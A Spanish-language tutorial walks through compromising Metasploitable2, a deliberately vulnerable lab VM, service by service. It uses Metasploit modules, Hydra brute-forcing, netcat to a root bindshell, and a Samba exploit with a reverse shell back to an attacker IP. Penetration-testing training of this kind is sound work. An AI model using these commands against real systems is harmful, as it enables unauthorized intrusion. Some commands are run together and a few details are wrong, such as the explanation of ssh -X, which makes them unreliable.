Resumen completo de Metasploitable2
Metasploitable es una máquina virtual Linux intencionadamente vulnerable.
Esta VM se puede utilizar para realizar entrenamientos de seguridad, probar herramientas de seguridad y practicar técnicas comunes de pruebas de penetración.
Instalación y configuración
Estamos aquí para explotar Metasploitable 2 (máquina malditamente vulnerable para pruebas de penetración)
Obtenga esta máquina Metasploiable2 de https://information.rapid7.com/download-metasploitable-2017.html
Proceso de instalación:
Abra VirtualBox y haga clic en el botón «Nuevo» para crear una nueva máquina virtual
Escriba el nombre de la máquina virtual(Metasploitable2)
Asigne la cantidad de memoria(Preferible pero no inferior a 512mb)
Seleccione Usar un archivo de disco duro existente
Seleccione el archivo vmdk que ha descargado de Rapid7
Haga clic en Crear…¡¡¡!!! Instalado con éxito Metasploitable2, Ahora es el momento de configurar los ajustes de red.
Después de la instalación cambiar la configuración del adaptador de red de la siguiente manera :
En la configuración de red: Configuración/Red/Adaptador Seleccione Ethernet o Inalámbrico
En la pestaña Avanzado Seleccione: Modo Promiscuo como Permitir Todo
¡Inicie el equipo Metasploitable2 e intente iniciar sesión con las credenciales dadas en el Banner…!
Encuentra la dirección IP de la máquina usando el siguiente comando en terminal
ifconfig
Eso es todo para la configuración….Empecemos a hackear…
Escaneando
Escaneando el Matasploitable 2
Como nos dimos cuenta la dirección IP de la máquina es 192.168.0.130
Empecemos a escanear con Nmap que forma parte de Kali Linux
nmap -sV -p- 192.168.0.130
Explotando todos los puertos en diferentes técnicas :
Método 1:
Iniciar sesión con Anónimo como nombre de usuario y sin contraseña.
Si necesitas más información sobre el FTP anónimo puedes encontrarla aquí.
https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol
ftp 192.168.0.130
Método 2 :
Por fuerza bruta usando Hydra pero necesitas tener una lista personalizada de nombres de usuario y contraseñas.
hydra -L /root/Desktop/USERNAMES.txt -P /root/Desktop/PASSWORDS.txt <Target IP Address> ftp -V
Tomará cada nombre de usuario y contraseña de los archivos dados e intentará entrar en el servicio FTP de destino.
Una vez que haya encontrado las credenciales puede iniciar la sesión directamente.
Después de iniciar la sesión con una cuenta de usuario, puede obtener acceso de root haciendo la escalada de privilegios.
Método 3 :
Explotación de FTP a través de Metasploit framework
Abrir la consola de Metasploit framework y buscar vsftpd Backdoor exploit
msfconsole Search vsftpd use exploit/unix/ftp/vsftpd_234_backdoor
.
show options
set RHOSTS 192.168.0.130 --> <target IP address>exploit
Felicidades, has conseguido acceso de root
22-SSH
Secure Shell (SSH) es un protocolo de red criptográfico para operar servicios de red de forma segura a través de una red no segura.
Explotación de SSH en diferentes técnicas
Método 1
Cracking Username and password with Hydra
Hydra es una herramienta incorporada en Kali-Linux que se utiliza para El ataque de fuerza bruta es un método de ensayo y error utilizado por los programas de aplicación para descifrar datos encriptados como contraseñas o claves del Data Encryption Standard (DES), a través de un esfuerzo exhaustivo (utilizando la fuerza bruta) en lugar de emplear estrategias intelectuales.
hydra -L <Usernames_List> -P <Passwords_List> <Target ip address> <Service>
Método 2
Abrir el framework Metasploit
Abrir el terminal y escribir estos comandos :
service postgresql startmsfconsolesearch ssh_loginuse auxiliary/scanner/ssh/ssh_login
configurar este auxiliar y ver lo que requiere.
set RHOSTS <target IP Address> --> in my case 192.168.0.130
Configura la lista de nombres de usuario y contraseñas predefinidos
set USER_FILE <Username file Path>set PASS_FILE <Password file Path>exploit
Tomará la lista de nombres de usuario y contraseñas basada en el tiempo y notificará con el nombre de usuario: contraseña e iniciará sesión con esas credenciales.
ssh username@targetipaddress
Tiene acceso de usuario, no puede realizar todas las tareas, así que trate de obtener acceso de root haciendo escalada de privilegios.
23-TELNET
Telnet es un sencillo protocolo de red basado en texto que se utiliza para acceder a ordenadores remotos a través de redes TCP/IP como Internet. Telnet fue creado y puesto en marcha en 1969 y, históricamente hablando, se puede decir que fue el primer Internet.
telnet <target IP Address> --> 192.168.0.130
Por defecto se Grab Metasploitable 2 banner, muestra que Login con msfadmin/msfadmin para conseguir un comienzo. Con sólo introducir esas credenciales ya estás dentro.
25-SMTP
SMTP forma parte de la capa de aplicación del protocolo TCP/IP. Utilizando un proceso llamado «almacenar y reenviar», SMTP mueve su correo electrónico en y a través de las redes. Trabaja estrechamente con algo llamado Agente de Transferencia de Correo (MTA) para enviar su comunicación a la computadora correcta y a la bandeja de entrada del correo electrónico.
Método 1:
Usando Metasploit
Inicia el Metasploit ejecutando los comandos
service postgresql startmsfconsole -qsearch smtp_version
use auxiliary/scanning/smtp/smtp_version (or) you can type use 0show optionsset RHOST 192.168.0.130exploit (or) runshow optionsset RHOST 192.168.0.130exploit (or) run
SMTP significa Simple Mail Transport Protocol y es un protocolo de servidor a servidor.to-server y mantiene una base de datos local de usuarios a los que debe enviar y recibir correos electrónicos.
SMTP tiene un conjunto de comandos. Vamos a conectarnos a nuestro objetivo con «netcat» a través del puerto 25 e intentaremos adquirir esta base de datos de correos electrónicos.
Abre un nuevo terminal y escribe:
nc 192.168.0.130 25
Ahora que se ha establecido la conexión se puede verificar mediante los comandos «SMTP»
Type: vrfy user
vrfy (Se trata de un shell nointeractivo)
Para los comandos SMTP visite: http://www.tcpipguide.com/free/t_SMTPCommands-2.htm
Método 2
Usando smtp_enum
Esto lo puede hacer Metasploit
search smtp_enum
use auxiliary/scanner/smtp/smtp_enum
show optionsset RHOST 192.168.0.130exploit
Este método está utilizando la enumeración para encontrar esta lista de usuarios en el servicio SMTP.
Luego NetCat puede ser útil para conseguir una conexión inversa con ese usuario.
139&445 Netbios-SSN
Samba es un proyecto de código abierto muy utilizado en ordenadores Linux y Unix para que puedan trabajar con los servicios de archivos e impresión de Windows.
Incluso podemos utilizar Samba como un servidor Active para manejar el login, la autenticación y el control de acceso de una red Windows.
Búsqueda de exploits
use exploit/multi/samba/usermap_script
.
Para ver las opciones del exploit
show optionsSet RHOST192.168.0.130 (Target IP address)
Configurar la carga útil
Show payloadsSet payload cmd/unix/reverse
Configurar los argumentos necesarios para la carga útil
Show optionsSet LHOST 192.168.0.109 (Attackers IP Address)Set LPORT 4444
Comprobar una vez que se han rellenado todos los argumentos requeridos
exploit
1099-Java-RMI
La invocación remota de métodos (RMI) es una API que permite a un objeto invocar un método en un objeto que existe en otro espacio de direcciones, que puede estar en la misma máquina o en una máquina remota.
Explotar java-RMI-server
Buscar el exploit
search java_rmi_server
Elegir el exploit según su rango. por ejemplo, «excelente» funciona mejor que «normal».
use exploit/multi/misc/java_rmi_servershow optionsset RHOSTS <target's IP>exploit
Conseguimos acceso a la máquina objetivo.
1524-BINDSHELL
Bind shell es un tipo de shell en el que la máquina objetivo abre un puerto de comunicación o un listener en la máquina víctima y espera una conexión entrante. El atacante entonces se conecta al listener de la máquina víctima que luego lleva a la ejecución de código o comando en el servidor.
Explotación
Es un shell de root por lo que podemos conectarnos a través del servicio netcat.
nc <target ip address> 1524
Felicidades, ya eres usuario root.
2121-ProFTPD
Antes de explotar este puerto es necesario tener las credenciales de inicio de sesión por lo que como sabemos el método lo conseguimos a través de la técnica de fuerza bruta, Podemos acceder a ProFTPd con telnet, Estamos utilizando aquí el usuario: user.
telnet <Taget IP Address> <Port Number>USER <username> PASS <password>
Es un usuario normal, Prueba la Escalada de Privilegios para obtener el control de root.
3306-MYSQL
Método 1:
Buscar el exploit
search scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_login
A veces puede haber una posibilidad de tener una contraseña en blanco para MySQL. Así que podemos explotarlo directamente.
Nota: por defecto, muestra BLANK_PASSWORDS como falso, ponlo como verdadero.
set BLANK_PASSWORDS as true
Método:2
En este método, vamos a explotar MySQL utilizando este comando proporcionando el nombre de usuario como root y la IP del objetivo.
mysql -u root -h <target's IP>
3632-DISTCCD
Distcc es una herramienta para acelerar la compilación del código fuente utilizando la computación distribuida a través de una red informática. Con la configuración adecuada
distcc puede reducir drásticamente el tiempo de compilación de un proyecto
Explotando el puerto 3632 usando distcc-exec
Abrir msfconsole y buscar distcc_exec
search distcc_execshow options
Configurar los argumentos necesarios para el exploit
set RHOSTS <target-ip>exploit
Conseguimos acceso al shell…intentamos hacer escalada de privilegios para obtener un privilegio superior
Explotamos PostgreSQL con postgre_payload
Abrimos msfconsole &buscamos postgres_payload
search postgres_payloaduse exploit/linux/postgres/postgres_payloadshow options
Establezca los argumentos necesarios para el exploit
set RHOSTS <target-ip>
Por defecto, usará el nombre de usuario como postgres
exploit
Se registra con éxito en postgresql…Vamos a por una shell para hacer más cosas…
Intenta hacer escalada de privilegios…Feliz aprendizaje.¡¡¡.!!!
5900-VNC
Abrir msfconsole y buscar el exploit vnc_login
search vnc_loginuse auxiliary/scanner/vnc/vnc_login
show optionsset RHOSTS <targets IP>set PASS_FILE <filepath that contains passwords>run (or) exploit
.
Este método se utiliza para explotar software VNC alojado en sistemas operativos Linux o Unix o Windows con vulnerabilidad de autenticación.
Intentar conectar vnc con esa contraseña
Abrir el Visor Vnc en la Terminal &Escribir la dirección IP y conectar
un prompt de login emergente y le pedirá que proporcione sus credenciales
Entonces introduzca la contraseña y haga clic en Aceptar.
¡Voilaaa…!!! tienes Acceso…Ya se que estas pensando ahora mismo..No te metas con las cosas de alrededor..Happy Learning.
6000-X11
El X Window System (aka X) es un sistema de ventanas para pantallas de mapa de bits, que es común en los sistemas operativos basados en UNIX. X proporciona el marco básico para un entorno basado en GUI.
El servidor remoto X11 acepta conexiones desde cualquier lugar en el que se pueda obtener una conexión a Internet. Es responsable del acceso a las tarjetas gráficas, a los dispositivos de entrada y a la pantalla de visualización en cualquier ordenador o dispositivo inalámbrico.
Explotando el puerto 6000 usando ssh
ssh -X -l msfadmin 192.168.0.122
En el comando anterior ‘X’ habilita el reenvío de todos los puertos, proporcionando el nombre de usuario y la IP del objetivo nos da la shell
6667 & 6697 UnrealIRCD
UnrealIRCd es un servidor IRC de código abierto, que sirve a miles de redes desde 1999. Funciona en Linux, OS X y Windows
UnrealIRCd es un IRCd muy avanzado con un fuerte enfoque en la modularidad, un archivo de configuración avanzado y altamente configurable. Las características clave incluyen SSL
UnrealIRCd es uno de los demonios de IRC más populares y completos y se utiliza en el mayor número de servidores de IRC
Este servidor se describe como que tiene posiblemente la mayor cantidad de características de seguridad de cualquier servidor de IRC.
Protocolos utilizados: Internet Relay Chat
Exploremos este servidor IRC.
Método 1: en el puerto 6667
search unrealircduse exploit/unix/irc/unreal_ircd_3281_backdoorshow options
Establezca los argumentos necesarios para el exploit
set RHOSTS <target-ip>
Por defecto se asigna el número de puerto 6667 a exploit
run (or) exploit
Heyyy…Tenemos raíz…Estamos viviendo en el borde…
Método 2: En el puerto 6697
Usa el exploit anterior y pon los argumentos necesarios
Esta vez pon el puerto como 6697
set RHOSTS <target-ip>set RPORT 6697
Y la segunda vez también tenemos root…Intenta explotar esto…Feliz aprendizaje
8180-TOMCAT
Apache Tomcat es una implementación de código abierto de las tecnologías Java Servlet, JavaServer Pages, Java Expression Language y WebSocket. Tomcat proporciona un entorno de servidor web HTTP «puramente Java» en el que se puede ejecutar código Java.
Explotando Apache-Tomcat
Se puede completar en dos pasos:
Abrir msfconsole & buscar tomcat_mgr_login
search tomcat_mgr_loginset RHOSTS <target-ip>
show options
El exploit asignará nombres de usuario por defecto & listas de contraseñas. Después de establecer los argumentos para explotar Tipo exploit (o) ejecutar
run
Toma el mismo nombre de usuario y contraseña y darle a la siguiente exploit.
Busca el exploit tomcat manager
search tomcat_mgr_uploaduse exploit/multi/http/tomcat_mgr_uploadshow options
Configura RHOSTS, RPORT, y HttpPassword, HttpUsername que obtuvimos del exploit tomcat login y luego ejecuta el exploit.
msfconsole podría asignar el payload adecuado para un exploit, Por eso tenemos meterpreter…
8787-Ruby-drb
dRuby es un sistema de objetos distribuidos para Ruby. Está escrito en Ruby puro y utiliza su protocolo.
No se necesitan servicios añadidos más allá de los proporcionados por el tiempo de ejecución de Ruby, como los sockets TCP.
search drb_remote_codeexec
Establezca los argumentos necesarios para el exploit
show optionsset RHOSTS <target-ip>exploit (or) run
Felicitaciones, ha conseguido el acceso al shell de root… intente utilizar algunos comandos del shell.